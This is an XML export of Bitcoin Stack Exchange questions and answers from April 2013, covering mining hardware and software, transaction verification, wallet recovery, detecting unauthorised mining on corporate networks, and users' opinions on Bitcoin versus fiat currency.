  <row Id="9373" PostTypeId="2" ParentId="9365" CreationDate="2013-04-09T03:16:13.800" Score="1" Body="&lt;p&gt;Not much documentation, but you can look at how others are doing it by examining their code. Take a look at &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;bitcoin-abe&lt;/a&gt;. It is pretty straightforward.&lt;/p&gt;&#xA;" OwnerUserId="3136" LastActivityDate="2013-04-09T03:16:13.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="1" CreationDate="2013-04-09T03:40:41.553" Score="14" ViewCount="20919" Body="&lt;p&gt;Bitcoin miner mines a block, which can't be submitted to the network without proof of work. And the new block contains all of the new transactions. Hence the new block acts as a security measure, and authority. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My puzzle is following:&lt;/strong&gt;&#xA;In the scenario I just described, the miner of the new block, in some sense, authorized the new transactions to be true. Yet the miner has never looked into the new transaction he just authorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This somehow relates to orphaned blocks, and longest chain(?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links I found useful to help me understand:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9248/how-do-nodes-verify-bitcoin-transactions&quot;&gt;How do nodes verify Bitcoin Transactions?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://timothyblee.com/2011/04/19/bitcoins-collusion-problem/&quot; rel=&quot;noreferrer&quot;&gt;http://timothyblee.com/2011/04/19/bitcoins-collusion-problem/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://spectrum.ieee.org/img/06Bitcoin-1338412974774.jpg&quot; rel=&quot;noreferrer&quot;&gt;http://spectrum.ieee.org/img/06Bitcoin-1338412974774.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9293/why-is-blockchain-necessary&quot;&gt;Why is blockchain necessary?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8918/which-is-the-relation-between-transactions-and-blocks&quot;&gt;Which is the relation between transactions and blocks?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-03-14T13:25:28.340" Title="relationship between bitcoin miner and verification of transactions" Tags="|transaction-verification|mining-technical-details|transaction-selection|" AnswerCount="4" CommentCount="1" ClosedDate="2013-04-21T20:14:59.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostTypeId="1" AcceptedAnswerId="9394" CreationDate="2013-04-09T03:50:18.097" Score="0" ViewCount="1940" Body="&lt;p&gt;Why guiminer is using different amount of GPU each time I restart my computer?&#xA;I'm running &lt;code&gt;guiminer-20121203&lt;/code&gt;, &lt;code&gt;NVIDIA GeForce GTX 670M&lt;/code&gt;, &lt;code&gt;poclbm.exe&lt;/code&gt; with flags  &lt;code&gt;-s 0.005 -f 60&lt;/code&gt;&#xA;What I noticed was, it was &lt;strong&gt;35Mgash/s with 75% GPU usage&lt;/strong&gt;. And after I restart my computer, it became  &lt;strong&gt;50Mgash/s with 100% GPU&lt;/strong&gt; usage with the same flag settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, before when I tried only with flag &lt;code&gt;-s 0.010&lt;/code&gt; it utilized &lt;strong&gt;100%&lt;/strong&gt; GPU, but without restarting computer, using flag &lt;code&gt;-s 0.011&lt;/code&gt; reduced GPU usage to &lt;strong&gt;60%&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?? &lt;/p&gt;&#xA;" OwnerUserId="4027" LastEditorUserId="5406" LastEditDate="2016-04-28T13:57:04.260" LastActivityDate="2016-04-28T13:57:04.260" Title="Why guiminer is using different amount of GPU each time I restart my copmuter?" Tags="|miner-configuration|gpu-mining|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostTypeId="2" ParentId="9374" CreationDate="2013-04-09T04:34:32.953" Score="-1" Body="&lt;p&gt;This is how I understand it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining application (eg Phoenix miner, poclbm) requires data to be passed to it by a Bitcoin node. The node's role is to verify the unconfirmed transactions against the blockchain and, if valid, provide a hash of them to the miner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie It's not the miner's role to verify transactions; it's the node's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're pool mining, the node is run by the pool. When solo mining, bitcoind is generally used.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-04-09T21:13:03.283" LastActivityDate="2013-04-09T21:13:03.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9377" PostTypeId="1" CreationDate="2013-04-09T04:43:32.920" Score="3" ViewCount="2620" Body="&lt;p&gt;Is it possible to detect bitcoins mined where it may be against an organization's computer usage policy? E.g., Bitcoins mined secretly on corporate or university computers when the policies of the organization do not allow such use of its computational hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are there any ethical guidelines developed to discourage such use?&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="5406" LastEditDate="2016-03-06T19:09:00.707" LastActivityDate="2016-03-06T19:09:00.707" Title="Is it possible to detect mining of bitcoins on an enterprise network?" Tags="|legal|mining-hardware|mining-software|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9378" PostTypeId="1" AcceptedAnswerId="9390" CreationDate="2013-04-09T04:48:37.783" Score="1" ViewCount="2528" Body="&lt;p&gt;If Bitcoin mining is becoming more and more impractical, where you'll need to buy like a ButterflyLabs unit, and where even eventually a room full of these units might not be enough some day, what then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, am I failing to understand some controls on Bitcoin that make it where eventually the processing power requirements go down again by some market factor? Forgive me, I'm new at this.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="5406" LastEditDate="2016-04-28T12:43:00.580" LastActivityDate="2016-04-28T12:43:00.580" Title="If Bitcoin mining is becoming more and more impractical, what then?" Tags="|mining-hardware|asic|hashpower|gpu|energy-consumption|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="1" CreationDate="2013-04-09T04:51:11.237" Score="5" ViewCount="27695" Body="&lt;p&gt;Are there any guides or material available for helping us build dedicated ASIC hardware for bitcoin mining .&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="5406" LastEditDate="2016-03-17T14:51:34.200" LastActivityDate="2016-03-17T14:51:34.200" Title="Self assembling of hardware for bitcoin mining" Tags="|asic|mining-hardware|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostTypeId="1" CreationDate="2013-04-09T05:26:03.583" Score="1" ViewCount="822" Body="&lt;p&gt;I just reinstalled Bitcoin-qt and exchanged the new wallet.dat file with my old one. The Address for receiving coins is shown correctly in Bitcoin-qt but the balance is 0.00 BTC. The Block chain is up-to-date and if I check the Address with Blockexplorer it says my Bitcoins are still on this Account. Why is the Balance 0 BTC in Bitcoin-qt?&lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2013-04-09T06:08:07.710" Title="Bitcoin-qt Wallet empty" Tags="|bitcoin-core|balance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostTypeId="2" ParentId="9379" CreationDate="2013-04-09T05:26:11.770" Score="0" Body="&lt;p&gt;Take a look at this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_rig&lt;/a&gt;&lt;br&gt;&#xA;And this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4023" LastActivityDate="2013-04-09T05:26:11.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostTypeId="2" ParentId="9378" CreationDate="2013-04-09T05:27:38.163" Score="2" Body="&lt;p&gt;Mining is not a long-term way to make money.  Eventually, the best way to get BTC will be the old-fashioned way: Earn them.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-09T05:27:38.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="2" ParentId="9336" CreationDate="2013-04-09T05:59:14.647" Score="3" Body="&lt;p&gt;PPCoin and other coins use Proof of Stake in addition to Proof of Work.  Stake is how long a coin has been idle multiplied by its value.  If you've been holding many coins for a long time, you can spend their coin age in lieu of poof of work.  The fear is that someone will hoard coins, gather a bunch of age, and then double-spend and use his accrued coin age to give each spend 6 confirmations immediately, without needing CPU work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a valid concern, in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-09T05:59:14.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="2" ParentId="9381" CreationDate="2013-04-09T06:08:07.710" Score="3" Body="&lt;p&gt;Try this:  start bitcoin-qt with the command line switch &quot;-rescan&quot;.  That should re-download all transactions, including those in and out of your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't guarantee this will work, but I had to do this when I upgraded to the newest version of Bitcoin-qt after a long time of not updating.&lt;/p&gt;&#xA;" OwnerUserId="4099" LastActivityDate="2013-04-09T06:08:07.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9386" PostTypeId="2" ParentId="9377" CreationDate="2013-04-09T06:27:02.313" Score="2" Body="&lt;p&gt;It will depend on how granular the organisation is monitoring their electricity consumption. Is it one electric meter per organisation? One electric meter per floor? or one electric per department/division? The more electric meters they have, the easier for them to the detect abnormal consumption from the illegal mining operation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analyzing of organisation firewall logs may provide some clues.  Check for machines with excessive port 8333 connection. This may result in some false positive as there may be other  applications also using that port, but it will allow you to narrow down the investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think an ethical guideline is sufficient to deter people from stealing organisation computing resource for mining, especially now that the bitcoin price has skyrocketed.  &lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2013-04-09T06:27:02.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="2" ParentId="9378" CreationDate="2013-04-09T06:29:24.700" Score="-1" Body="&lt;p&gt;As long as there is a ROI of a few months, people will buy equipment to mine. And equipment bought and running for a few months will keep running till the electricity cost is higher than the BTC earned. I expect mining will be profitable for a very long time to come, unless the BTC exchange rate crashes.&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-04-09T06:29:24.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="1" AcceptedAnswerId="9389" CreationDate="2013-04-09T07:08:59.967" Score="2" ViewCount="756" Body="&lt;p&gt;I'm running bitcoind on an Ubuntu EC2 image in the Amazon cloud; on another identical image I'm running litecoind. I compiled both of these on the bitcoind instance. According to the getmininginfo command, my hashes per second for litecoind ranges around 300, while for bitcoind it is over 300000; 3 orders of magnitude greater. Is this normal, or have I botched something?&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="5406" LastEditDate="2016-04-28T12:52:02.280" LastActivityDate="2016-04-28T12:52:02.280" Title="Hash rate for litecoind is way below the one I get for bitcoind, is this normal?" Tags="|bitcoind|litecoin|mining-theory|hashpower|algorithms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9389" PostTypeId="2" ParentId="9388" CreationDate="2013-04-09T07:43:31.953" Score="2" Body="&lt;p&gt;Mining in Litecoin uses a significantly different algorithmic pattern which takes substantially longer to complete a &quot;round&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin uses scrypt while Bitcoin uses SHA256. Usually devices are measured in Khash/Mhash for Litecoin and Mhash/Ghash for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial concept behind this is that it would be GPU proof so everyone could use their PC. GPUs can still perform substantially well.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="196" LastEditDate="2013-04-09T08:34:41.460" LastActivityDate="2013-04-09T08:34:41.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="2" ParentId="9378" CreationDate="2013-04-09T07:56:22.163" Score="-3" Body="&lt;p&gt;Bitcoin will change nature from inflationary to deflationary currency. This is as designed from the very beginning - there is an upper limit of how many bitcoins can there be. This is actually profitable for the stability of the currency - now it's prone to rapid exchange rate changes if someone starts a big mining farm and introduces a lot of it to the market. In the future this will not be the case - with fixed number of coins the value will only depend on supply and demand based on exchange of assets, not on &quot;side stream&quot; of &quot;mining&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With coins falling out of circulation by being frozen as savings the number in circulation will be constantly falling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course falling number will cause increased value of single coins and as result encourage people to spend their savings and reintroduce frozen assets into circulation, so the time before there's not enough bitcoin in circulation to support continued existence of the currency is very distant and we're likely to develop some alternatives before this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course while at certain point continued purchases of mining hardware may cease to be profitable, running existing hardware is cheap, and so mining is unlikely to cease for quite a few years yet despite its dwindling profitability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When cost of electricity to mine one bitcoin will exceed the value of one bitcoin you may be sure production will stop (and it will be long before you need a whole warehouse of dedicated hardware to produce one.) Of course there will be people still producing them at a loss or using public/stolen/free electricity but they won't produce all that many of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's assume the unlikely &quot;too long chain&quot; scenario eventually happens requiring a whole warehouse to process - which shouldn't happen considering the upper cap on the number of coins, unless someone miscalculated something - last bitcoin should be eventually generated on much less beefy hardware. Once you reach that limit, you will be unable to mine another coin, and so you won't obtain it, period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a bitcoin is already mined, it really doesn't put much stress on the infrastructure, it requires much, much less processing power to transfer as a payment or validate than to create. It's the mining process that would eventually grind to a halt first ages before the processing of mined bitcoins would become too hard on hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had a warehouse of custom FPGA, you'll be left with a ton of useless mining hardware and only as many bitcoins as you obtained. The era of mining will come to an end as designed, and the bitcoins produced from even the longest chains will function just like any other ones in circulation.&lt;/p&gt;&#xA;" OwnerUserId="4101" LastEditorUserId="4101" LastEditDate="2013-04-09T14:10:02.977" LastActivityDate="2013-04-09T14:10:02.977" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9391" PostTypeId="2" ParentId="9378" CreationDate="2013-04-09T08:06:42.060" Score="8" Body="&lt;p&gt;I think you misunderstand the problem. The reason mining is becoming impractical is because there's too much of it. It's like a restaurant that's too crowded. It means you can't get a table, but the restaurant is not going to go out of business.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-09T08:06:42.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9392" PostTypeId="2" ParentId="9379" CreationDate="2013-04-09T08:08:12.287" Score="6" Body="&lt;p&gt;You can't build ASIC hardware yourself. It costs hundreds of thousands of dollars to develop an ASIC and, by definition, you can't buy them off the shelf. (The &quot;AS&quot; stands for &quot;Application Specific&quot;, that is, it must be designed for a particular purpose.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-09T08:08:12.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9393" PostTypeId="2" ParentId="9377" CreationDate="2013-04-09T08:12:15.307" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to detect illegally mined bitcoins&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The short answer is not easily if at all. As far as I'm aware, certain hacker groups use botnets to mine for bitcoin- but, with the development of certain hardware, the only defence is that it's becoming impractical to do this.(&lt;a href=&quot;http://www.bbc.co.uk/news/technology-21964881&quot; rel=&quot;nofollow&quot;&gt;http://www.bbc.co.uk/news/technology-21964881&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware there is no real way to tell which machine a bitcoin was generated on, only what account it was attributed to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are there any ethical guidelines developed to discourage such use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's basic misuse of corporate services - &quot;You're&quot; using a system you do not own to generate money - which is generally considered illegal or gross misconduct. &lt;/p&gt;&#xA;" OwnerUserId="4102" LastEditorUserId="4102" LastEditDate="2013-04-10T16:24:04.660" LastActivityDate="2013-04-10T16:24:04.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9394" PostTypeId="2" ParentId="9375" CreationDate="2013-04-09T09:41:15.837" Score="1" Body="&lt;p&gt;Other applications can alter your GPU settings not just guiminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a read over this question &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4249/33&quot;&gt;here&lt;/a&gt; it may reflect a similar circumstance which is causing a variable hash rate on your hardware. Without knowing your exact usage of your computer though I cant say for sure.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-09T09:41:15.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="2" ParentId="331" CreationDate="2013-04-09T11:06:17.553" Score="18" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/pve08/btclike_cryptocurrency_with_arbitrary_tradeable/&quot;&gt;NooShare&lt;/a&gt; is an idea for:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a decentralised ledger similar to Bitcoin with the novel feature that&#xA;  its proofs of work are iterations of essentially arbitrary&#xA;  Markov-Chain Monte-Carlo (MCMC) chains, the scheduling of which can be&#xA;  purchased using the currency itself. It is a novel economic basis for&#xA;  sharing fallow computational resources.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know if it moved passed the initial design phase, but it's worth a read.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-09T11:06:17.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9396" PostTypeId="2" ParentId="9374" CreationDate="2013-04-09T11:16:33.370" Score="10" Body="&lt;p&gt;A miner can either verify transactions itself or assume that a transaction is valid as some nodes let him know they verified it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, the miner can enter the transaction in the block he is working on. Note that in pool mining the pool decides what transactions are included, while in solo mining your own bitcoind client does so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important thing to know is that miners only try to make a successor block for a block they think is valid. This means that when a miner generates a block with an invalid transaction on top of a valid block, other miners will not accept the new block. They will ignore it and continue trying to build a block on top of the last block they think is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way of working results a situation in which accepting invalid transactions and broadcasting invalid blocks is a waste of resources because your blocks will be orphaned and you will have to start all over.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-09T11:16:33.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9397" PostTypeId="1" CreationDate="2013-04-09T11:40:10.167" Score="3" ViewCount="87" Body="&lt;p&gt;I'm trying to find information on CFDs and exactly how Zhou Tong utilized them to short, but am coming up dry.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-09T11:40:10.167" Title="How did short positions work on Bitcoinica?" Tags="|exchanges|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="1" AcceptedAnswerId="9464" CreationDate="2013-04-09T11:41:27.750" Score="3" ViewCount="221" Body="&lt;p&gt;What other legal requirements are there and what are the costs of compliance? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-10T04:21:16.580" Title="Do US based exchanges need to file as an MSB with FinCen?" Tags="|exchanges|legal|fincen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="1" CreationDate="2013-04-09T12:15:43.977" Score="3" ViewCount="384" Body="&lt;p&gt;I've watched the video on weusecoins.com and read some of the FAQ, read information about wallets etc, but I still can't find any information about why we should use Bitcoins? What are the issues with normal currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is a very beginner question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only things I can find so far are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's not controlled by a government or company. But what further advantages of this are there?&lt;/li&gt;&#xA;&lt;li&gt;Open source, but why should currencies be open source?&lt;/li&gt;&#xA;&lt;li&gt;It has very good security, but don't banks spend billions on security as well?&lt;/li&gt;&#xA;&lt;li&gt;BTCs are limited in number: Is this to prevent artificial inflation of currency?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please note: This is not some kind of horrible troll question, I'm genuinely trying to learn about BTC.&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="196" LastEditDate="2013-04-20T11:57:47.083" LastActivityDate="2013-04-20T11:57:47.083" Title="What are the problems with normal currency that may be solved by using Bitcoins?" Tags="|money-supply|commerce|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="1" CreationDate="2013-04-09T12:16:09.007" Score="3" ViewCount="228" Body="&lt;p&gt;I have about 5 BTC stored in Wallets created under different versions of Bitcoin, all encrypted with multiple backups.&#xA;I downloaded latest Client and it doesn't work with the wallets, I've gone back to an earlier client and it works ok.&#xA;I assume there have been changes over the past year or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have time to figure this all out and try out which Older client works with which backup wallet so I can send my few BTCs to a Brainwallet address and dump the old wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I assume that because they are in wallets with backups, encrypted etc that the coins are safe and I just need to go through the trouble of recovering them.&#xA;I've heard about pywallet and have tried manually dumping the private keys so I can transfer the coins but so far no luck, it's all Greek to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I assume the coins are safe (providing the wallets are not iredeemably corrupted, and that one day soon, when I have time I should be able to recover them.&lt;/p&gt;&#xA;" OwnerUserId="4108" LastEditorUserId="516" LastEditDate="2013-04-10T01:34:41.473" LastActivityDate="2013-04-10T01:34:41.473" Title="Older Clients &amp; Wallets" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostTypeId="2" ParentId="9377" CreationDate="2013-04-09T12:42:35.013" Score="3" Body="&lt;p&gt;An enterprise network administrator concerned with the operation on its systems of software that contradicts policy should already employ some kind of security scanner software. Adding the known miners to that list of flagged software is the best recourse. Additionally, watching for outbound connections to the known DNS names for peer lookup or outbound connections on a certain few known ports could yield better results with less software impeding operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, they're just programs, and administrators should already have in place the tools and knowledge necessary to block the programs from running or detect that they are running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ethics, the general vibe in the community is &lt;em&gt;mine only on hardware you own&lt;/em&gt;, but obviously, not everyone follows that.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-09T12:42:35.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="2" ParentId="9399" CreationDate="2013-04-09T12:48:01.573" Score="0" Body="&lt;p&gt;Not being controlled by the government means that the government can't change its value without consent of the people, nor sieze it.  In Cyprus, this is happening right now.  Also, it's more anonymous.  And because the government doesn't (can't) regulate it, it can be transferred faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open source means that others can inspect it and prove that it is impossible to steal or control, by the government for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Banks spend a lot on security but bitcoins might provide the same or better security for less money.  I worked out that the cost of all the electricity of the miners is around 5000USD/second right now.  That sounds like a lot but imagine that it replaces the cost of the security of all banks of all the world.  JP Morgan's operating expenses for last year, according to the income statement, came out to about 2000USD/second.  And that's just one bank.  All of them together, way more than 5000USD/second.  In time, the cost will stabilize to the value of the security that we're getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC (BC is not the right acronym, get used to BTC) are limited to prevent inflation.  In fact, it guarantees deflation because society is creating value all the time.  This is a controversial decision.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-09T12:48:01.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9404" PostTypeId="1" AcceptedAnswerId="23150" CreationDate="2013-04-09T13:29:53.887" Score="1" ViewCount="11266" Body="&lt;p&gt;I got an issue with cgminer constantly rejecting shares. How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's example rejection (note that Diff jumps - sometimes it's 6/1 sometimes it's 1/1) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-04-09 14:24:05] Rejected fe26cac1 Diff 4/1 GPU 0 (lowdifficulty)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the .bat file I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt -o eu-stratum.btcguild.com:3333 -u MyUser -p 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My OS is Win 7 32 bit.&lt;/p&gt;&#xA;" OwnerUserId="4109" LastActivityDate="2015-01-16T12:16:55.887" Title="cgminer Rejected as lowdifficulty" Tags="|cgminer|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="2" ParentId="9399" CreationDate="2013-04-09T13:43:19.547" Score="1" Body="&lt;p&gt;Paper fiat currencies issued by Governments could work perfectly well, provided they used the money for the benefit of society.&#xA;IE, if they  had the discipline of the Bitcoin code, we wouldn't need Bitcoin, the trouble is, Govts become corrupted, they are tempted to fund projects they can't afford or otherwise should not get involved in (wars) by printing money.&#xA;Printing money is a phrase we see bandied around a great deal, but if Govts only printed new money to pay for their pet projects, it wouldn't be so bad, what compounds the issue is that they BORROW this extra money from Private international Bankers who simply conjure the money out of thin air.&#xA;Taxes against the People are required to pay back this totally unnecessary Borrowing.&#xA;For more on this goto youtube and search 'Bill Still' 'the secrets of OZ' 'fiat money' 'fractional reserve lending'&#xA;More money in circulation means the money you have earned is devalued through inflation. Yes, you may still have $1000 in the Bank, but it's purchasing power is being devalued, it is becoming worth less because of all the extra money  being printed (borrowed) and put into circulation.&#xA;Another problem with central control is the issue of Liberty, currently, as in the case of Julian Assange, the state can freeze your assets, switch off your access to banking.&#xA;This is potentially very sinister, do some research and you will see that totalitarian Govts often shut off access to money, food and water as a means of controlling large numbers of people.&#xA;Bitcoin addresses several of these important issues, firstly, it's a limited supply, whereas there is virtually unrestrained money printing going on, and there might even be new Gold and Silver deposits found, there will NEVER be more than 21 Million BTCs. These are divisible up to 8 Billion times so BTC has the potential to serve as a Global currency. There's no central control, Your Bitcoins cannot be blocked as they are sent person to person.&#xA;As people buy in, driving the price higher, instead of buying a meal for 1 BTC we will be using fractions of a BTC, a whole BTC becoming worth a considerable amount of money, this is called deflation, this is the opposite of what we have now with inflation devaluing our currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pensions too could be transformed by this, simply work 20 to thirty years, buying BTC allowing them to deflate (increase in value) to a sizeable Nest egg, then retire when YOU want to.,&#xA;Currently, there's money pouring into Bitcoin, people say it's a speculative bubble that may eventually crash.&#xA;I believe though that Bitcoin is a Global asset, it is a peer to peer, anonymous version of Western Union, so if Bitcoin has no value then Western Union has no use to society either.&#xA;I think the thing that will determine bitcoin's ultimate success is if underneath the speculation, real industry and businesses can spring up using BTC.&#xA;For those early adopters who've gained, probably the best way to preserve those BTC Gains is to take 1% of your gains and help young BTC industries to flourish.&lt;/p&gt;&#xA;" OwnerUserId="4108" LastActivityDate="2013-04-09T13:43:19.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
